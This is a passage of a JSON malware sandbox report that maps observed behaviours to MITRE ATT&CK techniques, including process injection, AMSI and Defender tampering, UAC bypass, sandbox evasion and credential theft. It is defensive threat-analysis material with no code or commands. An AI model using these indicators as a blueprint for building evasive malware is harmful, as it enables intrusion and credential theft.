detail"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"suspicious","value":"Recently registered domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Command line contains PowerShell"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Able to build PowerShell events through modules contained in the .NET code"},{"type":"informative","value":"Executes PowerShell with command line"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to modify system service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Uses powershell to execute new process"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"malicious","value":"Script loads executable in memory (Antimalware Scan Interface)"},{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"},{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Dotnet code contains potential unpacker"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"Uses a .NET obfuscator to hide its code"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Able to execute applications in hidden mode (.NET)"},{"type":"suspicious","value":"Uses PowerShell with a Windows hidden command line parameter"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","identifiers":[{"type":"suspicious","value":"Able to hide command execution using obfuscation techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"suspicious","value":"Tries to access/write temporary files"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Command line contains long Base64-encoded string"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops Windows batch files"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops temp files"},{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and 